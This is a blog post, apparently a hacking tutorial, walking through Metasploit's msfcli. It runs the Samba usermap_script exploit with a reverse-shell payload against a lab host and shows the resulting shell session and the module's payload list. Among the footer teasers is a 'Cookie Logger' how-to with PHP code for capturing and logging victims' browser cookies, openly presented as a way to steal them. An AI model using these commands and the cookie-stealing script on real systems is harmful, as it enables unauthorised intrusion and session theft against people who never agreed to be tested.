Skip to main content

Metasploit:-Beast Unleashed -Msfcli--

root@kali:~# msfcli -h
Usage: /opt/metasploit/msf3/msfcli  


Note that when using msfcli, variables are assigned using '=' and that all options are case-sensitive.

root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
 
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
       =[ svn r15767 updated today (2012.08.22)

RHOST => 172.16.194.172
PAYLOAD => cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux


If you aren't entirely sure about what options belong to a particular module, you can append the letter 'O' to the end of the string at whichever point you are stuck.

root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Please wait while we load the module tree...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port

root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*] Please wait while we load the module tree...

Compatible payloads
===================

   Name                       Description
   ----                       -----------
   cmd/unix/bind_inetd        Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_netcat       Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_ipv6  Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_perl         Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_perl_ipv6    Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_ruby         Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/bind_ruby_ipv6    Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/generic           Executes the supplied command
   cmd/unix/reverse           Creates an interactive shell through two inbound connections
   cmd/unix/reverse_netcat    Creates an interactive shell via netcat
   cmd/unix/reverse_perl      Creates an interactive shell via perl
   cmd/unix/reverse_ruby      Connect back and create a command shell via Ruby

The other options available to msfcli are available by issuing 'msfcli -h'.


Benefits of mscli:-

Supports the launching of exploits and auxiliary modules
Useful for specific tasks
Good for learning
Convenient to use when testing or developing a new exploit
Good tool for one-off exploitation
Excellent if you know exactly which exploit and options you need
Wonderful for use in scripts and basic automation

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary...

100 Terrific Tools for Coders & Developers

Coding… the world runs on it these days. Want job security? Become a developer. Want fame and fortune? Learn to code! Whether you are a world-class programmer looking for a few extra tools to add to your already awesome arsenal or a wanna-be coder looking to get into the game, these coding resources comprised of many startups (meaning you probably haven’t heard of a lot of these) as well as established sites and services are sure to help you take your game to the next level (whatever that might be). Included here are tools to help you communicate better with your team, share code, test your app and track usage, add functionality and much more. Whether you are a mobile or web app developer, I’m sure you will find something new to love here. Any suggestions on great sites or services that should be added? RANDOM & COOL Tracelytics  – Full stack application tracing. Cloud APM. TaskMissile  - Makes getting client feedback fast, easy and exact. Kera  – Activat...